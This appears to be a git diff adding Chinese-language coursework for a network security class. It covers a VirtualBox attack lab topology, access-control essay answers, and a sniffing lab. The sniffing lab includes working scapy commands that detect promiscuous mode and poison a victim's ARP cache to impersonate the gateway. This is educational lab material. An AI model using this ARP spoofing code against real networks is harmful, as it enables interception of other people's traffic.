diff --git a/chap0x01/.DS_Store b/chap0x01/.DS_Store new file mode 100644 index 0000000..af6df1f Binary files /dev/null and b/chap0x01/.DS_Store differ diff --git a/chap0x01/README.md b/chap0x01/README.md new file mode 100644 index 0000000..3c41441 --- /dev/null +++ b/chap0x01/README.md @@ -0,0 +1,190 @@ +# 基于 VirtualBox 的网络攻防基础环境搭建 + +## 实验目的 + +- 掌握 VirtualBox 虚拟机的安装与使用; + +- 掌握 VirtualBox 的虚拟网络类型和按需配置; + +- 掌握 VirtualBox 的虚拟硬盘多重加载; + +## 实验环境 + +- VirtualBox 虚拟机 + +- 攻击者主机(Attacker):Kali Rolling 2019.2 + +- 网关(Gateway, GW):Debian Buster + +- 靶机(Victim):From Sqli to shell / xp-sp3 / Kali + +## 实验要求 + +- 虚拟硬盘配置成多重加载; + +- 搭建满足作业拓扑图所示的虚拟机网络拓扑; + +- 完成以下网络连通性测试: + - 靶机可以直接访问攻击者主机 + - 攻击者主机无法直接访问靶机 + - 网关可以直接访问攻击者主机和靶机 + - 靶机的所有对外上下行流量必须经过网关 + - 所有节点均可以访问互联网 + + +## 实验过程 + +### 配置虚拟硬盘多重加载 + +(以`kali`为例) + +- 打开`管理>虚拟介质管理`,选择`kali`对于的`vdi`文件,右键选择释放 + +![shifang](img/释放.png) + +- 将类型从普通改为多重加载,然后应用 + +![duochongjiaz](img/多重加载.png) + +- 添加虚拟硬盘 + +![xuniyingpan](img/虚拟硬盘.png) + +- `Debian`和`XP`对应的虚拟硬盘进行同样操作,查看结果 + +![dajian](img/搭建完成.png) + +### 根据拓扑结构配置网络 + +- 配置`gateway`的网卡,四张网卡的状态分别为: + + - NAT网络,使网关可访问攻击者主机 + + - 仅主机(Host-Only)网络,进行网卡设置 + + - 内部网络intnet1,搭建局域网1 + + - 内部网络intnet2,搭建局域网2 + +![gateway](img/gateway.png) + +- 配置攻击者`attacker`的网络状态为: + - NAT + + - 两块不同的Host-Only网卡 + +![attacker](img/attacker.png) + +- 4台victim靶机分别在两个局域网内,仅需配置内部网络的一张网卡即可: + + - victim-kali-1和victim-xp-1在局域网intnet1内 + + - victim-debian-2和victim-xp-2在局域网intnet2内 + +![victim](img/victim.png) + +### 连通性测试 + +*获取IP地址时需要打开`Debian-gateway`,也即打开网关。* + +查看IP指令 +``` +Windows XP : ipconfig +Debian: ip addr show +kali: ip add +``` + +|主机|IP地址| +| ---- | ---- | +|kali-attacker|10.0.2.15| +|kali-victim-1|172.16.111.117| +|xp-victim-1|172.16.111.113| +|debian-victim-2|172.16.222.136| +|xp-victim-2|172.16.222.131| + +#### 靶机可以直接访问攻击者主机 +- `Internet1`内的靶机 + +![xp-1](img/v-1-a.png) + +- `Internet2`内的靶机 + +![debian-2](img/v-2-a.png) + + +#### 攻击者主机无法直接访问靶机 + +对局域网1内的`xp-victim-1`和局域网2内的`debian-victim-2` + +![cannot](img/a-cannot-v.png) + + +#### 网关可以直接访问攻击者主机和靶机 + +- 网关可以访问攻击者主机(`kali-attacker`): + +![gateway-attacker](img/gateway-attacker.png) + +- 网关可以访问局域网1内的靶机(`xp-victim-1`): + +![gateway-intnet-1](img/gateway-intnet-1.png) + +- 网关可以访问局域网2内的靶机(`debian-victim-2`): + +![gateway-intnet-2](img/gateway-intnet-2.png) + +#### 靶机的所有对外上下行流量必须经过网关 + +靶机的所有对外上下行流量必须经过网关,在网关对应的主机上安装tcpdump和tmux + +``` +apt install tcpdump +apt update && apt install tmux +``` +网关抓包指令 +``` +sudo tcpdump -c 5 +``` +- 抓包 + - 局域网1内的靶机 + ![tcp-1](img/tcpintnet1.png) + + - 局域网2内的靶机 + ![tcp-2](img/tcpintnet2.png) + +- `wireshark`进行分析 + +利用vscode远程连接网关对应的主机,使用指令`tcpdump -i enp0s9 -n -w 202301.pcap`将抓取到的包放到pcap文件中,在本地用wireshark进行分析 + +![wireshark](img/wireshark.png) + +对应的ip数据符合靶机和目标网址等信息,说明靶机的所有上下行流量必须经过网关 + +#### 所有节点均可以访问互联网 + +- 网关可以正常访问互联网: + +![gateway can surf internet](img/gateway-on.png) + +- `attacker`可以正常访问互联网: + +![attacker can surf internet](img/attacker-on.png) + +- `Internet1` 中的靶机可以直接访问互联网: + +![victim1 can surf internet](img/intnet1-on.png) + +- `Internet2` 中的靶机可以直接访问互联网: + +![victim2 can surf internet](img/intnet2-on.png) + + +## 实验问题 + +网关在ping`xp-victim-1`时无法ping通,是Windows防火墙的原因,关闭即可 + +![fanghuoqiang](img/防火墙.png) + +## 参考链接 + +[Debian服务器root用户远程SSH登录](https://blog.csdn.net/u013541325/article/details/121970885) diff --git a/chap0x01/img/a-cannot-v.png b/chap0x01/img/a-cannot-v.png new file mode 100644 index 0000000..de257f6 Binary files /dev/null and b/chap0x01/img/a-cannot-v.png differ diff --git a/chap0x01/img/a-v-1.png b/chap0x01/img/a-v-1.png new file mode 100644 index 0000000..cd4ad6b Binary files /dev/null and b/chap0x01/img/a-v-1.png differ diff --git a/chap0x01/img/attacker-on.png b/chap0x01/img/attacker-on.png new file mode 100644 index 0000000..cf03904 Binary files /dev/null and b/chap0x01/img/attacker-on.png differ diff --git a/chap0x01/img/attacker.png b/chap0x01/img/attacker.png new file mode 100644 index 0000000..67ca4db Binary files /dev/null and b/chap0x01/img/attacker.png differ diff --git a/chap0x01/img/gateway-attacker.png b/chap0x01/img/gateway-attacker.png new file mode 100644 index 0000000..707527d Binary files /dev/null and b/chap0x01/img/gateway-attacker.png differ diff --git a/chap0x01/img/gateway-intnet-1.png b/chap0x01/img/gateway-intnet-1.png new file mode 100644 index 0000000..56f3ac6 Binary files /dev/null and b/chap0x01/img/gateway-intnet-1.png differ diff --git a/chap0x01/img/gateway-intnet-2.png b/chap0x01/img/gateway-intnet-2.png new file mode 100644 index 0000000..0e15dc7 Binary files /dev/null and b/chap0x01/img/gateway-intnet-2.png differ diff --git a/chap0x01/img/gateway-net.png b/chap0x01/img/gateway-net.png new file mode 100644 index 0000000..848c84e Binary files /dev/null and b/chap0x01/img/gateway-net.png differ diff --git a/chap0x01/img/gateway-on.png b/chap0x01/img/gateway-on.png new file mode 100644 index 0000000..76c4a14 Binary files /dev/null and b/chap0x01/img/gateway-on.png differ diff --git a/chap0x01/img/gateway.png b/chap0x01/img/gateway.png new file mode 100644 index 0000000..bc1e9c0 Binary files /dev/null and b/chap0x01/img/gateway.png differ diff --git a/chap0x01/img/intnet1-on.png b/chap0x01/img/intnet1-on.png new file mode 100644 index 0000000..50508e8 Binary files /dev/null and b/chap0x01/img/intnet1-on.png differ diff --git a/chap0x01/img/intnet2-on.png b/chap0x01/img/intnet2-on.png new file mode 100644 index 0000000..dbdcc51 Binary files /dev/null and b/chap0x01/img/intnet2-on.png differ diff --git a/chap0x01/img/tcpintnet1.png b/chap0x01/img/tcpintnet1.png new file mode 100644 index 0000000..3e1a8c6 Binary files /dev/null and b/chap0x01/img/tcpintnet1.png differ diff --git a/chap0x01/img/tcpintnet2.png b/chap0x01/img/tcpintnet2.png new file mode 100644 index 0000000..f2dd5cc Binary files /dev/null and b/chap0x01/img/tcpintnet2.png differ diff --git a/chap0x01/img/v-1-a.png b/chap0x01/img/v-1-a.png new file mode 100644 index 0000000..97a64b5 Binary files /dev/null and b/chap0x01/img/v-1-a.png differ diff --git a/chap0x01/img/v-2-a.png b/chap0x01/img/v-2-a.png new file mode 100644 index 0000000..dc10f63 Binary files /dev/null and b/chap0x01/img/v-2-a.png differ diff --git a/chap0x01/img/victim.png b/chap0x01/img/victim.png new file mode 100644 index 0000000..b97bc6f Binary files /dev/null and b/chap0x01/img/victim.png differ diff --git a/chap0x01/img/wireshark.png b/chap0x01/img/wireshark.png new file mode 100644 index 0000000..f43a13c Binary files /dev/null and b/chap0x01/img/wireshark.png differ diff --git "a/chap0x01/img/\345\244\232\351\207\215\345\212\240\350\275\275.png" "b/chap0x01/img/\345\244\232\351\207\215\345\212\240\350\275\275.png" new file mode 100644 index 0000000..93c5988 Binary files /dev/null and "b/chap0x01/img/\345\244\232\351\207\215\345\212\240\350\275\275.png" differ diff --git "a/chap0x01/img/\346\220\255\345\273\272\345\256\214\346\210\220.png" "b/chap0x01/img/\346\220\255\345\273\272\345\256\214\346\210\220.png" new file mode 100644 index 0000000..e3f44a1 Binary files /dev/null and "b/chap0x01/img/\346\220\255\345\273\272\345\256\214\346\210\220.png" differ diff --git "a/chap0x01/img/\350\231\232\346\213\237\347\241\254\347\233\230.png" "b/chap0x01/img/\350\231\232\346\213\237\347\241\254\347\233\230.png" new file mode 100644 index 0000000..eceb3e8 Binary files /dev/null and "b/chap0x01/img/\350\231\232\346\213\237\347\241\254\347\233\230.png" differ diff --git "a/chap0x01/img/\351\207\212\346\224\276.png" "b/chap0x01/img/\351\207\212\346\224\276.png" new file mode 100644 index 0000000..b28405c Binary files /dev/null and "b/chap0x01/img/\351\207\212\346\224\276.png" differ diff --git "a/chap0x01/img/\351\230\262\347\201\253\345\242\231.png" "b/chap0x01/img/\351\230\262\347\201\253\345\242\231.png" new file mode 100644 index 0000000..defe05a Binary files /dev/null and "b/chap0x01/img/\351\230\262\347\201\253\345\242\231.png" differ diff --git a/chap0x02/README.md b/chap0x02/README.md new file mode 100644 index 0000000..7460a50 --- /dev/null +++ b/chap0x02/README.md @@ -0,0 +1,149 @@ +# 操作系统的访问控制设计实例研究操作系统的访问控制设计实例研究 + +## 实验目的 + +以 IOS 和 Android 系统为研究对象,对操作系统的访问控制进行研究。 + +## 实验环境 + +- 操作系统版本:Harmony OS 2.0.0 +- 手机版本型号:荣耀30 + +## 实验过程 + +### 当系统处于锁屏状态下接收到新短信时 + +- 不解锁情况下系统是否允许查看短信内容? + + 否 + +![.](img/消息不可读.png) + +- 系统是否允许回复短信? + + 否,需要先解锁手机 + + +- 安卓上的 App : 以 华为运动健康 为例,在接管了系统短信功能和权限之后,是否会有一些不同的功能设定? + + 会显示需要修改手机默认设置,使用系统自带时,只可读而不可回复 + +![](img/权限.png) + +### 当系统处于锁屏状态下,使用系统内置(例如 iOS 的 Siri )或第三方的语音助手可以完成以下哪些操作? + +- 访问通讯录 + + 否 + +- 拨打电话 + + 否 + +- 访问相册 + + 否 + +- 查看短信收件箱 + + 否 + +均需要先解锁手机 + +### 实验并分析指纹识别相比较于简单密码、复杂密码、图形解锁、人脸识别解锁、声纹解锁等解锁方式的安全性、便利性差异 + +| 密码类型 | 安全性 | 便利性| +| ---- | ---- | ----| +简单密码 | 小于指纹解锁,可被分析破解或者统计破解 | 容易记住,比较方便 +复杂密码 |分析破解更不容易,但是安全性还是没有指纹高 | 输入较为麻烦,记忆也不方便 +图形解锁 |有可能被穷举分析,指纹则不存在此种攻击方式 | 解锁需要画图,相较指纹不容易 +人脸识别解锁 | 人脸识别主要是特征识别,安全性在特征唯一的情况下可以保证 | 方便,只需要人脸对着摄像头即可,但是可能受光线的影响 +声纹解锁 | 容易伪造 | 需要说话,在安静的环境不方便 +指纹解锁 |指纹不容易出现重复,复制指纹不容易实现,安全性较好 | 比较方便,手指一按就解锁,但是有时候手湿会影响准确性 + +### 思考题 + +- 以上设计实现方式属于我们课堂上讲过的哪种强制访问控制模型?Lattice/BLP?Biba? + + Biba模型,可以上读下写,锁屏时只能读短信,属于上读;解开屏幕以后,可以回复短信,属于下写 + +- 系统或第三方应用程序是否提供了上述功能的访问控制规则修改?如果修改默认配置,是提高了安全性还是降低了安全性? + + 是,例如微信,可以修改权限。是降低了安全性,可以通过对不同App应用赋予不同的权限控制从而实现不同层级的安全性控制。 + +## 课后题 + +### 生物特征身份认证方式有哪些?优缺点分析?应用场景举例。 + +| 认证方式 | 优点 | 缺点 | 应用 | +| ---- | ---- | ---- | ---- | +| 指纹识别 | 速度快,应用方便,指纹是独一无二的特征,且复杂度较高,具有稳定性和可靠性 | 对手指的湿度、清洁度等都很敏感,脏、油、水都会造成识别不了或影响到识别的结果,会造成识别困难、识别率低的问题 | 手机解锁,移动支付,身份验证 | +| 面部识别 | 用户不需要与设备直接的接触;可以使用桌面的视频摄像,且比较高级的摄像头还可以有效高速地捕捉面部图像 | 面部识别技术的改进依赖于提取特征与比对技术的提高,使用者面部的位置与周围的光环境都可能影响系统的精确性 | 手机解锁,学校出入身份认证 | +| 声音识别 | 声音识别也是一种非接触的识别技术 | 声音因为变化的范围太大,故而很难进行一些精确的匹配;声音会随着音量、速度和音质的变化(例如当你感冒时)而影响到采集与比对的结果 | 语音导航,手机语音助手,即时翻译 | +| 签名认证 | 是一种公认的身份识别的技术 | 不具有可靠的稳定性,在不同时期的签名可能会有改变 | 课签到,借条、合同等重要文件签名防抵赖 | +| 虹膜识别技术 | 便于用户使用,只需用户位于设备之前而无需物理的接触;可能会是最可靠的生物识别技术 | 没有进行过任何的测试,当前的虹膜识别系统只是用统计学原理进行过小规模的试验 | 门禁考勤,微软的Windows10用虹膜识别代替密码登录 | +| 视网膜识别技术 | 视网膜是一种极其固定的生物特征,因为它是“隐藏“的,故而不可能磨损、老化或是为疾病影响;使用者不需要与设备进行直接的接触 | 视网膜技术未经过任何测试,对于消费者,视网膜技术没有吸引力;很难进一步降低它的成本。 | 身份识别认证 | + +### “找回口令功能”和“忘记密码”在访问授权机制中的意义?请尝试设计几种安全的“找回口令功能”,详细描述找回口令的用户具体操作过程。 + +【登录界面】>【忘记密码】>【输入个人手机号】>【发送验证码】>【在规定时间内查看并输入验证码】>【重置密码】>【在登录界面输入新修改的密码登录】 + +### 绘制用户使用用户名/口令+图片验证码方式录系统的流程图。考虑认证成功和失败两种场景,考虑授权成功和失败两种场景。 + +![.](img/流程.png) + +### Windows XP / 7 中的访问控制策略有哪些?访问控制机制有哪些? + +基于角色的访问控制:一个身份被分配给一个被授权的组。在访问控制列表中,每一个用户或用户组都对应一组访问控制项。 + +强制访问控制:“Administrators”组的全部成员都拥有“更改用户的权限”(Take Ownership)的权力。 + +自主访问控制:所有用户或用户组的权限访问设置都会被存储下来,并允许随时被有权限进行修改的用户进行调整,如取消某个用户对某个资源的“写入”权限。 + +### 用权限三角形模型来理解并描述下 2 种威胁模型:提权、仿冒。 + +权限三角形模型:用户-角色(分级-权限(对象+操作) + +提权:提权分为水平特权提升和垂直特权提升。 提权是指本来没有某项权限的用户,通过一定的方法获得该权限 + +提权是用户-角色-权限,角色不变,而获取的权限扩大 + +仿冒:仿冒是指用户A以用户B的身份通过了认证,之后行使了B所有的权利 + +仿冒是用户-角色,获取的角色改变,能够行使的权限因角色的改变而改变 + +### 试通过操作系统的访问控制机制来达到预防一种真实病毒的运行目的。 + +对于一个系统服务,管理员正确配置其调用的可执行文件的读写权限使得低权限用户没有对其程序的写入权限。这样就可以避免这个程序被病毒替换成任意可执行程序。 + +### 什么是 OAuth? + +让用户告诉系统,同意第三方应用访问自己的一部分数据,系统从而产生一个令牌来认证与授权的一种协议。 + +### 什么是 OpenID? + +允许用户使用一个已经存在的帐号来登录多个网站,而不必创建新的密码。 + +### 试用本章所学理论分析 0Auth 和 OpenID 的区别与联系。 + +oauth2用来授权,openid用来认证。openid提供对实体的鉴别,而OAuth有通用性。当一个服务向第三方服务发行一个令牌可以用来访问一个被保护资源的令牌时,只要拥有令牌就能够访问其被授予的资源。 + +### 如何使用 OAuth 和 OpenID 相关技术实现单点登录(Single Sign On)? + +当用户第一次登录时,将用户名密码发送给用户服务。 + +验证用户将用户标识OpenId返回到客户端。 + +客户端进行存储。 + +访问子系统,将OpenId发送到子系统。 + +子系统将OpenId转发到验证服务。 + +验证服务将用户认证信息返回给子系统。 + +子系统构建用户验证信息后将授权后的内容返回给客户端。 + +## 参考链接 + +[在线课本](https://c4pr1c3.github.io/cuc-ns/chap0x02/main.html) \ No newline at end of file diff --git "a/chap0x02/img/\346\235\203\351\231\220.png" "b/chap0x02/img/\346\235\203\351\231\220.png" new file mode 100644 index 0000000..24525bd Binary files /dev/null and "b/chap0x02/img/\346\235\203\351\231\220.png" differ diff --git "a/chap0x02/img/\346\265\201\347\250\213.png" "b/chap0x02/img/\346\265\201\347\250\213.png" new file mode 100644 index 0000000..696c029 Binary files /dev/null and "b/chap0x02/img/\346\265\201\347\250\213.png" differ diff --git "a/chap0x02/img/\346\266\210\346\201\257\344\270\215\345\217\257\350\257\273.png" "b/chap0x02/img/\346\266\210\346\201\257\344\270\215\345\217\257\350\257\273.png" new file mode 100644 index 0000000..8972621 Binary files /dev/null and "b/chap0x02/img/\346\266\210\346\201\257\344\270\215\345\217\257\350\257\273.png" differ diff --git a/chap0x04/README.md b/chap0x04/README.md new file mode 100644 index 0000000..c171963 --- /dev/null +++ b/chap0x04/README.md @@ -0,0 +1,157 @@ +# 网络监听 + +## 实验目的 +进行网络监听 + +## 实验过程 + +### 网络设置 + +各主机的网络配置 + +- `kali-victim` + +![v-net](img/v-net.png) + +![kali-victim](img/v-ip.png) + +- `kali-attacker` + +![a-net](img/a-net.png) + +![kali-attacker](img/a-ip.png) + +- `debian-gateway` + +![g-net](img/g-net.png) + +![debian-gateway](img/g-ip.png) + + +|主机||| +| ---- | ---- | ----| +|kali-victim|[172.16.111.117] |[08:00:27:45:5f:bf]| +kali-attacker|[172.16.111.115] |[08:00:27:87:ce:01]| +debian-gateway|[172.16.111.1] |[08:00:27:41:27:6a]| + + +### 攻击者主机安装`scapy` + +安装 python3 +``` +sudo apt update && sudo apt install python3 python3-pip +``` + +ref: https://scapy.readthedocs.io/en/latest/installation.html#latest-release +``` +pip3 install scapy[complete] +``` +![scapy-install](img/scapy-install.png) + +### 实验一:检测局域网中的异常终端 + +先在受害者主机上检查网卡的【混杂模式】是否启用,此时结果里应该没有出现` PROMISC` 字符 + +命令: +``` +ip link show eth0 +``` + +![eth0](img/eth0.png) + +然后在攻击者主机上开启`scapy`: +``` +sudo scapy +``` +并且在scapy的交互式终端输入以下命令: +``` +pkt = promiscping("172.16.111.117") +``` + +![soduscapy](img/sudoscapy.png) + +接着回到受害者主机开启网卡的【混杂模式】,再次查看 + +同时打开受害者主机的`wireshark`选择`eth0`端口进行抓包 + +``` +sudo ip link set eth0 promisc on + +ip link show eth0 +``` +![promisc-on](img/eth0-on.png) + +再回到攻击者主机执行命令: +``` +pkt = promiscping("172.16.111.117") +``` +![re-pkt](img/repkt.png) + +在混杂模式下,受害者主机收到了数据包。 + +查看受害者主机的`wireshark` + +![wireshark](img/wireshark.png) + +可以看到收到了`promiscping`命令发送的数据包 + +在关闭网卡的【混杂模式】的情况下,则无法成功发送 + +### 实验二:手工单步“毒化”目标主机APR缓存 + +首先查看当前局域网的网关MAC地址 + +构造一个APR请求,并查看一下具体内容,然后将这个APR发送 + +``` +arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst="172.16.111.1") + +arpbroadcast.show() + +recved = srp(arpbroadcast, timeout=2) + +gw_mac = recved[0][0][1].hwsrc +``` +![arp](img/arp.png) + +接下来是发送给受害者主机 + +将APR响应的目的MAC地址设置为攻击者主机的MAC地址,把伪造的ARP响应数据发送给受害者主机 + +``` +arpspoofed = Ether()/ARP(op=2, psrc="172.16.111.1", pdst="172.16.111.117", hwdst="08:00:27:87:ce:01") + +sendp(arpspoofed) +``` +![notreal](img/notreal.png) + +在受害者主机上查看会发现网关的MAC地址已被修改成攻击者主机的MAC地址 + +使用命令`ip neigh`查看 + +![repalce](img/replace.png) + +伪装网关给受害者发送ARP响应 + +``` +restorepkt1 = ARP(op=2, psrc="172.16.111.1", hwsrc="08:00:27:41:27:6a", pdst="172.16.111.117", hwdst="08:00:27:45:5f:bf") + +sendp(restorepkt1, count=100, inter=0.2) +``` + +![restorepkt1](img/restorepkt1.png) + +接着在受害者主机上输入命令`ping 172.16.111.1` + +让ARP刷新成功后退出`ping` + +再次查看受害者主机的ARP缓存,可以看到恢复到正常情况 + +![ping](img/back.png) + + +## 参考资料 +[scapy中的ARP](http://www.noobyard.com/article/p-pxkbxnav-hr.html) + + + diff --git a/chap0x04/img/a-ip.png b/chap0x04/img/a-ip.png new file mode 100644 index 0000000..24a95a0 Binary files /dev/null and b/chap0x04/img/a-ip.png differ diff --git a/chap0x04/img/a-net.png b/chap0x04/img/a-net.png new file mode 100644 index 0000000..eea3e30 Binary files /dev/null and b/chap0x04/img/a-net.png differ diff --git a/chap0x04/img/arp.png b/chap0x04/img/arp.png new file mode 100644 index 0000000..32f4aaa Binary files /dev/null and b/chap0x04/img/arp.png differ diff --git a/chap0x04/img/back.png b/chap0x04/img/back.png new file mode 100644 index 0000000..d77faee Binary files /dev/null and b/chap0x04/img/back.png differ diff --git a/chap0x04/img/eth0-on.png b/chap0x04/img/eth0-on.png new file mode 100644 index 0000000..415814f Binary files /dev/null and b/chap0x04/img/eth0-on.png differ diff --git a/chap0x04/img/eth0.png b/chap0x04/img/eth0.png new file mode 100644 index 0000000..85dd933 Binary files /dev/null and b/chap0x04/img/eth0.png differ diff --git a/chap0x04/img/g-ip.png b/chap0x04/img/g-ip.png new file mode 100644 index 0000000..09e3fbd Binary files /dev/null and b/chap0x04/img/g-ip.png differ diff --git a/chap0x04/img/g-net.png b/chap0x04/img/g-net.png new file mode 100644 index 0000000..f5d3c1b Binary files /dev/null and b/chap0x04/img/g-net.png differ diff --git a/chap0x04/img/notreal.png b/chap0x04/img/notreal.png new file mode 100644 index 0000000..4308a84 Binary files /dev/null and b/chap0x04/img/notreal.png differ diff --git a/chap0x04/img/repkt.png b/chap0x04/img/repkt.png new file mode 100644 index 0000000..14e983f Binary files /dev/null and b/chap0x04/img/repkt.png differ diff --git a/chap0x04/img/replace.png b/chap0x04/img/replace.png new file mode 100644 index 0000000..242d7de Binary files /dev/null and b/chap0x04/img/replace.png differ diff --git a/chap0x04/img/restorepkt1.png b/chap0x04/img/restorepkt1.png new file mode 100644 index 0000000..20fb3b5 Binary files /dev/null and b/chap0x04/img/restorepkt1.png differ diff --git a/chap0x04/img/scapy-install.png b/chap0x04/img/scapy-install.png new file mode 100644 index 0000000..486a713 Binary files /dev/null and b/chap0x04/img/scapy-install.png differ diff --git a/chap0x04/img/sudoscapy.png b/chap0x04/img/sudoscapy.png new file mode 100644 index 0000000..c6de9f4 Binary files /dev/null and b/chap0x04/img/sudoscapy.png differ diff --git a/chap0x04/img/v-ip.png b/chap0x04/img/v-ip.png new file mode 100644 index 0000000..19973af Binary files /dev/null and b/chap0x04/img/v-ip.png differ diff --git a/chap0x04/img/v-net.png b/chap0x04/img/v-net.png new file mode 100644 index 0000000..335fb55 Binary files /dev/null and b/chap0x04/img/v-net.png differ diff --git a/chap0x04/img/wireshark.png b/chap0x04/img/wireshark.png new file mode 100644 index 0000000..ad8dc79 Binary files /dev/null and b/chap0x04/img/wireshark.png differ